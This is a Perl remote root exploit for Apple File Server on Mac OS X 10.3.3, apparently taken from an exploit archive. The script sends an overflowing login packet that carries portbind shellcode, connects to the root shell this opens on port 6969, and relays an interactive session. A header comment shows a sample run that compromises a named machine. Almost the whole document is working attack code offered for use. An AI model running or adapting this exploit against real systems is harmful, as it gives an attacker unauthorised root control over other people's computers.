# Priv8security com remote root exploit for AppleFileServer. # PUBLIC VERSION!!!! # # Bug found by Dave G. and Dino Dai Zovi. # URL: http://www.atstake.com/research/advisories/2004/a050304-1.txt # # [wsxz@localhost buffer]$ perl priv8afp.pl -h 10.4.12.199 -t 0 # -=[Priv8security.com Apple File Server remote root exploit!]=- # # [+] Using target: MacOSX 10.3.3 # [+] Using ret: 0xf0101cb0 # [+] Sending Request Opensession... DOne! # [+] Got response packet: # Flags: 1 Cmd: 4 ID: 31337 # [+] Sending FPloginEXT packet... DOne! # [+] Waiting... We got in =) # # ****** Welcome to 'Adriano-Limas-Computer' ****** # # Darwin Adriano-Limas-Computer.local 7.3.1 Darwin Kernel Version 7.3.1: Mon Mar # 22 21:48:41 PST 2004; root:xnu/xnu-517.4.12.obj~2/RELEASE_PPC Power Macintosh powerpc # uid=0(root) gid=0(wheel) groups=0(wheel), 1(daemon), 2(kmem), 3(sys), 4(tty), # 5(operator), 20(staff), 31(guest), 80(admin) # #################################################################### use IO::Socket; use Getopt::Std; getopts('h:t:p:o:', \%args); if (defined($args{'h'})) { $host = $args{'h'}; } if (defined($args{'t'})) { $target = $args{'t'}; } if (defined($args{'p'})) { $port = $args{'p'};}else{$port = 548;} if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;} my @targets = ( # description, ret, Magic size. ["MacOSX 10.3.3", 0xf0101cb0, 4], #tested on my ibook g4 ); print STDERR "-=[Priv8security.com Apple File Server remote root exploit!]=-\n\n"; if (!defined($host) || !defined($target)) { Usage(); } ($desc,$ret,$msize) = @{$targets[$target]}; print STDERR "[+] Using target: $desc\n"; print STDERR "[+] Using ret: 0x" . sprintf('%lx', $ret + $offset) . "\n"; $shellcode = # portbind shellcode by br00t [at] blueyonder.co.uk "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb\x01\x70". "\x39\x80\x01\x70\x3b\xdf\xff\x88\x7c\xbe\x29\xae\x3b\xdf\xff\x89". "\x7c\xbe\x29\xae\x3b\xdf\xff\x8a\x7c\xbe\x29\xae\x3b\xdf\xff\x8b". "\x7c\xbe\x29\xae\x38\x6c\xfe\x92\x38\x8c\xfe\x91\x38\xac\xfe\x96". "\x38\x0c\xfe\xf1\x44\xff\xff\x02\x60\x60\x60\x60\x7c\x67\x1b\x78". "\x38\x9f\xff\x84\x38\xac\xfe\xa0\x38\x0c\xfe\xf8\x44\xff\xff\x02". "\x60\x60\x60\x60\x7c\xe3\x3b\x78\x38\x8c\xfe\x91\x38\x0c\xfe\xfa". "\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xe3\x3b\x78\x38\x8c\xfe\x90". "\x38\xac\xfe\x90\x38\x0c\xfe\xae\x44\xff\xff\x02\x60\x60\x60\x60". "\x38\x8c\xfe\x90\x38\x0c\xfe\xea\x44\xff\xff\x02\x60\x60\x60\x60". "\x38\x8c\xfe\x91\x38\x0c\xfe\xea\x44\xff\xff\x02\x60\x60\x60\x60". "\x38\x8c\xfe\x92\x38\x0c\xfe\xea\x44\xff\xff\x02\x60\x60\x60\x60". "\x38\x0c\xfe\x92\x44\xff\xff\x02\x60\x60\x60\x60\x39\x1f\xff\x83". "\x7c\xa8\x29\xae\x38\x7f\xff\x7c\x90\x61\xff\xf8\x90\xa1\xff\xfc". "\x38\x81\xff\xf8\x38\x0c\xfe\xcb\x44\xff\xff\x02\x41\x41\x41\x41". "\x41\x41\x41\x41\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\x02\x1b\x39". "\x41\x41\x41\x41"; $bin_ret = reverse(pack('l', ($ret + $offset))); $buffer = "\x60" x 141; $buffer .= $bin_ret; $buffer .= "\x60" x (824 - length($shellcode)); $buffer .= $shellcode; $buffer .= "A" x 100; $req = "\x00\x04".# Request Opensession "\x7a\x69\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; $packet = "\x00". # Request "\x02". # Command "\x7a\x69".# leet ID "\x00\x00\x00\x00".# Data Offset "\x00\x00\x04\x00".# Length "\x00\x00\x00\x00".# Reserved "\x3f". # FPloginext "\x00". # Pad "\x00\x00". # Flags "\x0e\x41\x46\x50\x56\x65\x72\x73\x69\x6f\x6e\x20\x32\x2e\x31".# Version "\x10\x43\x6c\x65\x61\x72\x74\x78\x74\x20\x70\x61\x73\x73\x77\x72\x64". # UAM "\x03". # Type "\x00\x07". # User Len "\x41\x64\x72\x69\x61\x6e\x6f" .# AFPNAME USER "\x03". # Pathtype "\x80\xff". # Path Len $buffer. # Evil String "\x00"; # Pad $len = reverse(pack("S", $msize)); substr($packet, 63 , 2, $len); $f = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>$port) or die "[-] Cant connect: $!\n\n"; print STDERR "[+] Sending Request Opensession... "; $f->send($req); print STDERR "DOne!\n"; $f->recv($crap,128); if($crap){ print STDERR "[+] Got response packet:\n"; parse_packet($crap); } print STDERR "[+] Sending FPloginEXT packet... "; $f->send($packet); print STDERR "DOne!\n"; print STDERR "[+] Waiting... "; sleep(5); $sc = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>6969,Type=>SOCK_STREAM,Reuse=>1) or die "No luck :( $!\n\n"; print "We got in =)\n"; $sc->autoflush(1); sleep(2); print $sc "echo;echo \"****** Welcome to '`hostname -s`' ******\"\n"; print $sc "echo;uname -a;id;echo\n"; die "cant fork: $!" unless defined($pid = fork()); if ($pid) { while(defined ($line = <$sc>)) { print STDOUT $line; } kill("TERM", $pid); } else { while(defined ($line = <STDIN>)) { print $sc $line; } } close($sc); print "Good bye!!\n"; sub parse_packet { my ($buf) = shift @_; my (@packet); my ($i); for ($i=0;$i<length($buf);$i++) { push(@packet, substr($buf, $i, 1)); } my ($flags) = unpack("C", @packet[0]); my ($cmd) = unpack("C", @packet[1]); my ($request_id) = unpack("n", @packet[2] . @packet[3]); print " Flags: $flags Cmd: $cmd ID: $request_id\n"; } sub Usage { print STDERR "Options: -h Victim ip. -t Target number from list. -p Port to attack. -o Offset, try in steps of 500.\n\n"; print STDERR "Targets:\n"; for($i=0; $i < @targets; $i++){ ($dd) = @{$targets[$i]}; print STDERR " $i - $dd\n"; } print STDERR "\nUsage: perl $0 -h Victim -t target\n\n"; exit; } # milw0rm.com [2004-08-13]